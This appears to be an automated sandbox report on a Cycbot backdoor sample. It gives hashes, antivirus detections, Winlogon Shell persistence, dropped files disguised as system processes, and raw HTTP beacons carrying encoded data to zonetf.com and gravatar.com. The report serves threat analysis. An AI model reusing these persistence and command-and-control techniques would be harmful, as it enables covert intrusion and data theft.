Analysis Date2014-06-27 16:27:07
MD565384b11a8a9d821e9b75d5a21e94596
SHA1383a667f581b04ccde922785bcc053359183863e

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386
Section.text md5: d688dffe645dbd92d1b1222ada9f85d8 sha1: 7ad01f3dca73817049463b99b24acb6cea482c52 size: 114688
Section.rdata md5: cfbc29d6d989b553e1271b736b53f45a sha1: 8b4a778039d1dac212d40e8c7bf975bffb1e89b6 size: 1024
Section.data md5: b98c34c00f7b3041f1673b36dcfe3ce5 sha1: 0189a115f508ff96ef8920c93e1e2f6726320bd8 size: 54784
Section.apexi md5: 3ed17bd054c4931219318e47016cbb1b sha1: be2fdf898ed843c4fcabd9da0a7333cd47940c91 size: 1024
Timestamp2005-11-22 11:17:16
VersionProductVersion: 1.0.0.3
FileVersion: 1.0.0.3
PrivateBuild: 1686
PEhasha29b1e9ff59e26558a34c12665954db5eedb993e
IMPhash49a61c9f91380828577efbce215c05e3
AV360 SafeGen:Trojan.Heur.KS.1
AVAd-AwareGen:Trojan.Heur.KS.1
AVAlwil (avast)Cybota [Trj]
AVArcabit (arcavir)no_virus
AVAuthentiumW32/Goolbot.G.gen!Eldorado
AVAvira (antivir)BDS/Gbot.aida
AVCA (E-Trust Ino)Win32/Cycbot.G!generic
AVCAT (quickheal)Backdoor.Cycbot.B
AVClamAVno_virus
AVDr. WebBackDoor.Gbot.34
AVEmsisoftGen:Trojan.Heur.KS.1
AVEset (nod32)Win32/Kryptik.MIA
AVFortinetW32/FraudLoad.MK!tr
AVFrisk (f-prot)W32/Goolbot.G.gen!Eldorado (generic, not disinfectable)
AVF-SecureGen:Trojan.Heur.KS.1
AVGrisoft (avg)Win32/Heri
AVIkarusBackdoor.Win32.Gbot
AVK7Backdoor ( 003210941 )
AVKasperskyTrojan.Win32.Generic
AVMalwareBytesTrojan.Agent
AVMcafeeBackDoor-EXI.gen.i
AVMicrosoft Security EssentialsBackdoor:Win32/Cycbot.G
AVMicroWorld (escan)Gen:Trojan.Heur.KS.1
AVNormanwinpe/Cycbot.BP
AVRisingno_virus
AVSophosMal/FakeAV-IS
AVSymantecBackdoor.Cycbot!gen3
AVTrend MicroBKDR_CYCBOT.SMX
AVVirusBlokAda (vba32)no_virus

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
1
RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell ➝
explorer.exe,C:\Documents and Settings\Administrator\Application Data\dwm.exe
Creates FileC:\Documents and Settings\Administrator\Application Data\dwm.exe
Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FilePIPE\lsarpc
Creates FileC:\Documents and Settings\Administrator\Application Data\75DE.FFC
Creates File\Device\Afd\Endpoint
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates ProcessC:\malware.exe startC:\Documents and Settings\Administrator\Application Data\Microsoft\conhost.exe%C:\Documents and Settings\Administrator\Application Data\Microsoft
Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe
Creates ProcessC:\malware.exe startC:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe%C:\Documents and Settings\Administrator\Local Settings\Temp
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutex{61B98B86-5F44-42b3-BCA1-33904B067B81}
Creates Mutex{655A89EF-C8EC-4587-9504-3DB66A15085F}
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates Mutex{B37C48AF-B05C-4520-8B38-2FE181D5DC78}
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Creates Mutex{35BCA615-C82A-4152-8857-BCC626AE4C8D}
Winsock DNS127.0.0.1
Winsock DNSgravatar.com
Winsock DNSextremerollerclub.com

Process
↳ C:\malware.exe startC:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe%C:\Documents and Settings\Administrator\Local Settings\Temp

Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe

Process
↳ C:\malware.exe startC:\Documents and Settings\Administrator\Application Data\Microsoft\conhost.exe%C:\Documents and Settings\Administrator\Application Data\Microsoft

Creates ProcessC:\Documents and Settings\Administrator\Application Data\Microsoft\conhost.exe

Process
↳ C:\Documents and Settings\Administrator\Application Data\Microsoft\conhost.exe

Network Details:

DNSgravatar.com
Type: A
192.0.80.239
DNSgravatar.com
Type: A
192.0.80.240
DNSgravatar.com
Type: A
192.0.80.241
DNSgravatar.com
Type: A
192.0.80.242
DNSzonetf.com
Type: A
208.73.211.163
DNSzonetf.com
Type: A
208.73.211.174
DNSzonetf.com
Type: A
208.73.211.175
DNSzonetf.com
Type: A
208.73.211.193
DNSzonetf.com
Type: A
208.73.211.242
DNSzonetf.com
Type: A
208.73.211.163
DNSzonetf.com
Type: A
208.73.211.174
DNSzonetf.com
Type: A
208.73.211.175
DNSzonetf.com
Type: A
208.73.211.193
DNSzonetf.com
Type: A
208.73.211.242
DNSextremerollerclub.com
Type: A
HTTP GEThttp://gravatar.com/avatar.php?gravatar_id=f2a3889aff6fc9711a3cbcfe64067be2?v53=3&tq=gKZEtzyslLXoMNy5xQPoP0nd9IUXLoYgtJhBbSLy3unUwf7inVJlR%2FVodhhsWm7dK45EsPE93GTsU05s%2B5iIkXauPEOgE9Xtsc0gytX3t%2BkW%2F1198mh4Pl%2BVaZkbdS05ZdZ91VOHg7h84J2%2FrEOdcRJHIJqGpQbqaixD9uwUaoSFIaEYR6yeRCErf8pHvcTm3TDbRhGIhr%2FZ3Noy3xUl3h3poZnH5hkX4ZXr6WXK%2BsxgNMpzkR8ZVVoprJuvNFXklc1cB0rC5UwCS%2FPFiByi1HhSw0Gl0wz0FDmXskLYZLCnNNjP3p%2FodepO%2BA1T2LAxh
User-Agent: mozilla/2.0
HTTP POSThttp://zonetf.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfNoX%2BP9h%2BI0sDkX9PiwrWL2GUr0%2BbGpfvRsX%2BaIwb51gW1f447GrXf0eU2S%2BsSodOFuTLiv0agDh2xP6PLEqwaCGkrl%2F7LdBPNpPpTuxq00sD0OpLjRqAOhLgjh%2FMe%2BcoJuX%2BSNxlKv975Xlm5G
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
HTTP POSThttp://zonetf.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfNoX%2BP9h%2BI0sDkX9PiwrWL2GUr0%2BbGpfvRsX%2BaIwb51gW1f447GrXf0eU2S%2BsSodOFuTLiv0agDh2xP6PLEqwaCGkrl%2F7LdBPNpPpTuxq00sD0OpLjRqAOhLgjh88y%2BcoJuX%2BSNxFKv975Xlm5G
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
HTTP POSThttp://zonetf.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfNoX%2BP9h%2BI0sDkX9PiwrWL2GUr0%2BbGpfvRsX%2BaIwb51gW1f447GrXf0eU2S%2BsSodOFuTLiv0agDh2xP6PLEqwaCGkrl%2F7LdBPNpPpTuxq00sD0OpLjRqAOhLgjh88BSr%2Fe%2BV5ZuRg%3D%3D
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
HTTP POSThttp://zonetf.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfNoX%2BP9h%2BI0sDkX9PiwrWL2GUr0%2BbGpfvRsX%2BaIwb51gW1f447GrXf0eU2S%2BsSodOFuTLiv0agDh2xP6PLEqwaCGkrl%2F7LdBPNpPpTuxq00sD0OpLjRqAOhLgjh8sG%2BcoJuX%2BSNw1Kv975Xlm5G
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
HTTP POSThttp://zonetf.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfNoX%2BP9h%2BI0sDkX9PiwrWL2GUr0%2BbGpfvRsX%2BaIwb51gW1f447GrXf0eU2S%2BsSodOFuTLiv0agDh2xP6PLEqwaCGkrl%2F7LdBPNpPpTuxq00sD0OpLjRqAOhLgjh%2F82%2BcoJtX%2BSNxr5ygm1C4lKv975Xlm5G
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Flows TCP192.168.1.1:1031 ➝ 192.0.80.239:80
Flows TCP192.168.1.1:1033 ➝ 208.73.211.163:80
Flows TCP192.168.1.1:1034 ➝ 208.73.211.163:80
Flows TCP192.168.1.1:1035 ➝ 208.73.211.163:80
Flows TCP192.168.1.1:1036 ➝ 208.73.211.163:80
Flows TCP192.168.1.1:1037 ➝ 208.73.211.163:80

Raw Pcap
0x00000000 (00000)   47455420 2f617661 7461722e 7068703f   GET /avatar.php?
0x00000010 (00016)   67726176 61746172 5f69643d 66326133   gravatar_id=f2a3
0x00000020 (00032)   38383961 66663666 63393731 31613363   889aff6fc9711a3c
0x00000030 (00048)   62636665 36343036 37626532 3f763533   bcfe64067be2?v53
0x00000040 (00064)   3d332674 713d674b 5a45747a 79736c4c   =3&tq=gKZEtzyslL
0x00000050 (00080)   586f4d4e 79357851 506f5030 6e643949   XoMNy5xQPoP0nd9I
0x00000060 (00096)   55584c6f 5967744a 68426253 4c793375   UXLoYgtJhBbSLy3u
0x00000070 (00112)   6e557766 37696e56 4a6c5225 3246566f   nUwf7inVJlR%2FVo
0x00000080 (00128)   64686873 576d3764 4b343545 73504539   dhhsWm7dK45EsPE9
0x00000090 (00144)   33475473 55303573 25324235 69496b58   3GTsU05s%2B5iIkX
0x000000a0 (00160)   61755045 4f674539 58747363 30677974   auPEOgE9Xtsc0gyt
0x000000b0 (00176)   58337425 32426b57 25324631 3139386d   X3t%2BkW%2F1198m
0x000000c0 (00192)   6834506c 25324256 615a6b62 64533035   h4Pl%2BVaZkbdS05
0x000000d0 (00208)   5a645a39 31564f48 67376838 344a3225   ZdZ91VOHg7h84J2%
0x000000e0 (00224)   32467245 4f646352 4a48494a 71477051   2FrEOdcRJHIJqGpQ
0x000000f0 (00240)   62716169 78443975 7755616f 53464961   bqaixD9uwUaoSFIa
0x00000100 (00256)   45595236 79655243 45726638 70487663   EYR6yeRCErf8pHvc
0x00000110 (00272)   546d3354 44625268 47496872 2532465a   Tm3TDbRhGIhr%2FZ
0x00000120 (00288)   334e6f79 3378556c 33683370 6f5a6e48   3Noy3xUl3h3poZnH
0x00000130 (00304)   35686b58 345a5872 3657584b 25324273   5hkX4ZXr6WXK%2Bs
0x00000140 (00320)   78674e4d 707a6b52 385a5656 6f70724a   xgNMpzkR8ZVVoprJ
0x00000150 (00336)   75764e46 586b6c63 31634230 72433555   uvNFXklc1cB0rC5U
0x00000160 (00352)   77435325 32465046 69427969 31486853   wCS%2FPFiByi1HhS
0x00000170 (00368)   7730476c 30777a30 46446d58 736b4c59   w0Gl0wz0FDmXskLY
0x00000180 (00384)   5a4c436e 4e4e6a50 33702532 466f6465   ZLCnNNjP3p%2Fode
0x00000190 (00400)   704f2532 42413154 324c4178 68204854   pO%2BA1T2LAxh HT
0x000001a0 (00416)   54502f31 2e300d0a 436f6e6e 65637469   TP/1.0..Connecti
0x000001b0 (00432)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x000001c0 (00448)   20677261 76617461 722e636f 6d0d0a41    gravatar.com..A
0x000001d0 (00464)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x000001e0 (00480)   2d416765 6e743a20 6d6f7a69 6c6c612f   -Agent: mozilla/
0x000001f0 (00496)   322e300d 0a0d0a                       2.0....

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   4e6f5825 32425039 68253242 49307344   NoX%2BP9h%2BI0sD
0x00000040 (00064)   6b583950 69777257 4c324755 72302532   kX9PiwrWL2GUr0%2
0x00000050 (00080)   42624770 66765273 58253242 61497762   BbGpfvRsX%2BaIwb
0x00000060 (00096)   35316757 31663434 37477258 66306555   51gW1f447GrXf0eU
0x00000070 (00112)   32532532 4273536f 644f4675 544c6976   2S%2BsSodOFuTLiv
0x00000080 (00128)   30616744 68327850 36504c45 71776143   0agDh2xP6PLEqwaC
0x00000090 (00144)   476b726c 25324637 4c644250 4e705070   Gkrl%2F7LdBPNpPp
0x000000a0 (00160)   54757871 30307344 304f704c 6a527141   Tuxq00sD0OpLjRqA
0x000000b0 (00176)   4f684c67 6a682532 464d6525 3242636f   OhLgjh%2FMe%2Bco
0x000000c0 (00192)   4a755825 3242534e 786c4b76 39373558   JuX%2BSNxlKv975X
0x000000d0 (00208)   6c6d3547 20485454 502f312e 310d0a48   lm5G HTTP/1.1..H
0x000000e0 (00224)   6f73743a 207a6f6e 6574662e 636f6d0d   ost: zonetf.com.
0x000000f0 (00240)   0a557365 722d4167 656e743a 204d6f7a   .User-Agent: Moz
0x00000100 (00256)   696c6c61 2f342e30 2028636f 6d706174   illa/4.0 (compat
0x00000110 (00272)   69626c65 3b204d53 49452036 2e303b20   ible; MSIE 6.0; 
0x00000120 (00288)   57696e64 6f777320 4e542035 2e31290d   Windows NT 5.1).
0x00000130 (00304)   0a436f6e 74656e74 2d4c656e 6774683a   .Content-Length:
0x00000140 (00320)   20300d0a 436f6e6e 65637469 6f6e3a20    0..Connection: 
0x00000150 (00336)   636c6f73 650d0a0d 0a634230 72433555   close....cB0rC5U
0x00000160 (00352)   77435325 32465046 69427969 31486853   wCS%2FPFiByi1HhS
0x00000170 (00368)   7730476c 30777a30 46446d58 736b4c59   w0Gl0wz0FDmXskLY
0x00000180 (00384)   5a4c436e 4e4e6a50 33702532 466f6465   ZLCnNNjP3p%2Fode
0x00000190 (00400)   704f2532 42413154 324c4178 68204854   pO%2BA1T2LAxh HT
0x000001a0 (00416)   54502f31 2e300d0a 436f6e6e 65637469   TP/1.0..Connecti
0x000001b0 (00432)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x000001c0 (00448)   20677261 76617461 722e636f 6d0d0a41    gravatar.com..A
0x000001d0 (00464)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x000001e0 (00480)   2d416765 6e743a20 6d6f7a69 6c6c612f   -Agent: mozilla/
0x000001f0 (00496)   322e300d 0a0d0a                       2.0....

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   4e6f5825 32425039 68253242 49307344   NoX%2BP9h%2BI0sD
0x00000040 (00064)   6b583950 69777257 4c324755 72302532   kX9PiwrWL2GUr0%2
0x00000050 (00080)   42624770 66765273 58253242 61497762   BbGpfvRsX%2BaIwb
0x00000060 (00096)   35316757 31663434 37477258 66306555   51gW1f447GrXf0eU
0x00000070 (00112)   32532532 4273536f 644f4675 544c6976   2S%2BsSodOFuTLiv
0x00000080 (00128)   30616744 68327850 36504c45 71776143   0agDh2xP6PLEqwaC
0x00000090 (00144)   476b726c 25324637 4c644250 4e705070   Gkrl%2F7LdBPNpPp
0x000000a0 (00160)   54757871 30307344 304f704c 6a527141   Tuxq00sD0OpLjRqA
0x000000b0 (00176)   4f684c67 6a683838 79253242 636f4a75   OhLgjh88y%2BcoJu
0x000000c0 (00192)   58253242 534e7846 4b763937 35586c6d   X%2BSNxFKv975Xlm
0x000000d0 (00208)   35472048 5454502f 312e310d 0a486f73   5G HTTP/1.1..Hos
0x000000e0 (00224)   743a207a 6f6e6574 662e636f 6d0d0a55   t: zonetf.com..U
0x000000f0 (00240)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000100 (00256)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000110 (00272)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000120 (00288)   6e646f77 73204e54 20352e31 290d0a43   ndows NT 5.1)..C
0x00000130 (00304)   6f6e7465 6e742d4c 656e6774 683a2030   ontent-Length: 0
0x00000140 (00320)   0d0a436f 6e6e6563 74696f6e 3a20636c   ..Connection: cl
0x00000150 (00336)   6f73650d 0a0d0a3c 6872202f 3e0a2020   ose....<hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   4e6f5825 32425039 68253242 49307344   NoX%2BP9h%2BI0sD
0x00000040 (00064)   6b583950 69777257 4c324755 72302532   kX9PiwrWL2GUr0%2
0x00000050 (00080)   42624770 66765273 58253242 61497762   BbGpfvRsX%2BaIwb
0x00000060 (00096)   35316757 31663434 37477258 66306555   51gW1f447GrXf0eU
0x00000070 (00112)   32532532 4273536f 644f4675 544c6976   2S%2BsSodOFuTLiv
0x00000080 (00128)   30616744 68327850 36504c45 71776143   0agDh2xP6PLEqwaC
0x00000090 (00144)   476b726c 25324637 4c644250 4e705070   Gkrl%2F7LdBPNpPp
0x000000a0 (00160)   54757871 30307344 304f704c 6a527141   Tuxq00sD0OpLjRqA
0x000000b0 (00176)   4f684c67 6a683838 42537225 32466525   OhLgjh88BSr%2Fe%
0x000000c0 (00192)   32425635 5a755267 25334425 33442048   2BV5ZuRg%3D%3D H
0x000000d0 (00208)   5454502f 312e310d 0a486f73 743a207a   TTP/1.1..Host: z
0x000000e0 (00224)   6f6e6574 662e636f 6d0d0a55 7365722d   onetf.com..User-
0x000000f0 (00240)   4167656e 743a204d 6f7a696c 6c612f34   Agent: Mozilla/4
0x00000100 (00256)   2e302028 636f6d70 61746962 6c653b20   .0 (compatible; 
0x00000110 (00272)   4d534945 20362e30 3b205769 6e646f77   MSIE 6.0; Window
0x00000120 (00288)   73204e54 20352e31 290d0a43 6f6e7465   s NT 5.1)..Conte
0x00000130 (00304)   6e742d4c 656e6774 683a2030 0d0a436f   nt-Length: 0..Co
0x00000140 (00320)   6e6e6563 74696f6e 3a20636c 6f73650d   nnection: close.
0x00000150 (00336)   0a0d0a73 650d0a0d 0a634230 72433555   ...se....cB0rC5U
0x00000160 (00352)   77435325 32465046 69427969 31486853   wCS%2FPFiByi1HhS
0x00000170 (00368)   7730476c 30777a30 46446d58 736b4c59   w0Gl0wz0FDmXskLY
0x00000180 (00384)   5a4c436e 4e4e6a50 33702532 466f6465   ZLCnNNjP3p%2Fode
0x00000190 (00400)   704f2532 42413154 324c4178 68204854   pO%2BA1T2LAxh HT
0x000001a0 (00416)   54502f31 2e300d0a 436f6e6e 65637469   TP/1.0..Connecti
0x000001b0 (00432)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x000001c0 (00448)   20677261 76617461 722e636f 6d0d0a41    gravatar.com..A
0x000001d0 (00464)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x000001e0 (00480)   2d416765 6e743a20 6d6f7a69 6c6c612f   -Agent: mozilla/
0x000001f0 (00496)   322e300d 0a0d0a                       2.0....

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   4e6f5825 32425039 68253242 49307344   NoX%2BP9h%2BI0sD
0x00000040 (00064)   6b583950 69777257 4c324755 72302532   kX9PiwrWL2GUr0%2
0x00000050 (00080)   42624770 66765273 58253242 61497762   BbGpfvRsX%2BaIwb
0x00000060 (00096)   35316757 31663434 37477258 66306555   51gW1f447GrXf0eU
0x00000070 (00112)   32532532 4273536f 644f4675 544c6976   2S%2BsSodOFuTLiv
0x00000080 (00128)   30616744 68327850 36504c45 71776143   0agDh2xP6PLEqwaC
0x00000090 (00144)   476b726c 25324637 4c644250 4e705070   Gkrl%2F7LdBPNpPp
0x000000a0 (00160)   54757871 30307344 304f704c 6a527141   Tuxq00sD0OpLjRqA
0x000000b0 (00176)   4f684c67 6a683873 47253242 636f4a75   OhLgjh8sG%2BcoJu
0x000000c0 (00192)   58253242 534e7731 4b763937 35586c6d   X%2BSNw1Kv975Xlm
0x000000d0 (00208)   35472048 5454502f 312e310d 0a486f73   5G HTTP/1.1..Hos
0x000000e0 (00224)   743a207a 6f6e6574 662e636f 6d0d0a55   t: zonetf.com..U
0x000000f0 (00240)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000100 (00256)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000110 (00272)   6c653b20 4d534945 20362e30 3b205769   le; MSIE 6.0; Wi
0x00000120 (00288)   6e646f77 73204e54 20352e31 290d0a43   ndows NT 5.1)..C
0x00000130 (00304)   6f6e7465 6e742d4c 656e6774 683a2030   ontent-Length: 0
0x00000140 (00320)   0d0a436f 6e6e6563 74696f6e 3a20636c   ..Connection: cl
0x00000150 (00336)   6f73650d 0a0d0a3c 6872202f 3e0a2020   ose....<hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   4e6f5825 32425039 68253242 49307344   NoX%2BP9h%2BI0sD
0x00000040 (00064)   6b583950 69777257 4c324755 72302532   kX9PiwrWL2GUr0%2
0x00000050 (00080)   42624770 66765273 58253242 61497762   BbGpfvRsX%2BaIwb
0x00000060 (00096)   35316757 31663434 37477258 66306555   51gW1f447GrXf0eU
0x00000070 (00112)   32532532 4273536f 644f4675 544c6976   2S%2BsSodOFuTLiv
0x00000080 (00128)   30616744 68327850 36504c45 71776143   0agDh2xP6PLEqwaC
0x00000090 (00144)   476b726c 25324637 4c644250 4e705070   Gkrl%2F7LdBPNpPp
0x000000a0 (00160)   54757871 30307344 304f704c 6a527141   Tuxq00sD0OpLjRqA
0x000000b0 (00176)   4f684c67 6a682532 46383225 3242636f   OhLgjh%2F82%2Bco
0x000000c0 (00192)   4a745825 3242534e 78723579 676d3143   JtX%2BSNxr5ygm1C
0x000000d0 (00208)   346c4b76 39373558 6c6d3547 20485454   4lKv975Xlm5G HTT
0x000000e0 (00224)   502f312e 310d0a48 6f73743a 207a6f6e   P/1.1..Host: zon
0x000000f0 (00240)   6574662e 636f6d0d 0a557365 722d4167   etf.com..User-Ag
0x00000100 (00256)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x00000110 (00272)   2028636f 6d706174 69626c65 3b204d53    (compatible; MS
0x00000120 (00288)   49452036 2e303b20 57696e64 6f777320   IE 6.0; Windows 
0x00000130 (00304)   4e542035 2e31290d 0a436f6e 74656e74   NT 5.1)..Content
0x00000140 (00320)   2d4c656e 6774683a 20300d0a 436f6e6e   -Length: 0..Conn
0x00000150 (00336)   65637469 6f6e3a20 636c6f73 650d0a0d   ection: close...
0x00000160 (00352)   0a435325 32465046 69427969 31486853   .CS%2FPFiByi1HhS
0x00000170 (00368)   7730476c 30777a30 46446d58 736b4c59   w0Gl0wz0FDmXskLY
0x00000180 (00384)   5a4c436e 4e4e6a50 33702532 466f6465   ZLCnNNjP3p%2Fode
0x00000190 (00400)   704f2532 42413154 324c4178 68204854   pO%2BA1T2LAxh HT
0x000001a0 (00416)   54502f31 2e300d0a 436f6e6e 65637469   TP/1.0..Connecti
0x000001b0 (00432)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x000001c0 (00448)   20677261 76617461 722e636f 6d0d0a41    gravatar.com..A
0x000001d0 (00464)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x000001e0 (00480)   2d416765 6e743a20 6d6f7a69 6c6c612f   -Agent: mozilla/
0x000001f0 (00496)   322e300d 0a0d0a                       2.0....


Strings
.
.o..}........
a.6&.t=.....3z5..m
.
U..u.
T]..B.
.*....{[..N....i
......N3./}q.r.B... S......~>=qp...51.Y]h..
.Wk
.
.
V.
.
040904b0
1.0.0.3
1686
2C2C
AqAD
c`GP
DB`A
"EC"
FileVersion
jjjjjj
PCGF
PrivateBuild
ProductVersion
qTTac
RF`#
RqR"
StringFileInfo
TASa
TIMES NEW ROMAN
Translation
UsVW
VarFileInfo
V"rj
VS_VERSION_INFO
.<(}<@
11=	K>VeiS
1Nx_y{
1-R	h}
1/S=[L
2S*J_3,
2u4Ld[v&
2VVxhL
3e,"4=~
&3L+K	p8	svdB
5	"o.Sh
`5wjL}
63w=a8
+%7aui1X
"!:|8-
	A)A$]Ms
&AIq/s
.apexi
b<sGZ3
BzIMZT]
C$d+~L
CheckRemoteDebuggerPresent
cN@/r	
CreateWindowExW
cR!O0|
D2MC^h7
@.data
dFW`sZ3
	dmKKp
Eh&ljn7_
EndDialog
EnumResourceTypesW
FC2-y0
GetFileType
GetParent
GetStartupInfoA
GetWindowInfo
G-hC3G
g> u7A
Gv>eQF
>g^|yx
GZw7FWo
HeapCreate
%}h/ncKB/
h	tLCl
I$;8oC
I9\BoC
InitializeCriticalSection
I=_t%m
I@Uum:
j<4m+i
J)tV=D
K9 &F+
KERNEL32.dll
(kI;i*q)%"
KUW\+~0k
@\KWEI
K~xEB_4S]G
l].$#:5
=lDv/9
@&%Lf}
ljm$(V
LoadCursorW
|Lq[gz
LresultFromObject
lstrcpynW
l%upaX
M[>,%*
m6y5yr
mA-Jo&_rG
MessageBoxW
:M$nxhuQk#
MXn+\q]"
>MZL;k
N0-or5
nn8	qc
+#N/vk
n)+wki
O}3|qq
|oCa"[uV
OLEACC.dll
pp7VK#
*PQi4C
P$s#g8
(qj%PAm
!|Q)	l
r|3X%r
r6:VH9M
`.rdata
RegisterClassExW
R]G4)c)
r'IssK
RkH.%3(
|R>,L2I
")|(~T
!This program cannot be run in DOS mode.
TlsAlloc
TlsFree
TlsGetValue
"tN1{@
	;t;sO
|Tv|:Ll
ueg]ks
USER32.dll
u@Z+gT
!v_OG&
V	=R]wP
w9#wkZ
@!w;a@km
WVB.tsJ
Wv}l{a'
<|ww.w6
x*:hA9
XL4l,x
xR[4tI
(#:	Y/
y}c99IE
YiX[=+
y>; ~N
ynd=<gz
{;Y}\+t}hx
Z6,dmi{
zCwE9	
-Zjs<J
z]vD3!@	
zwb}#g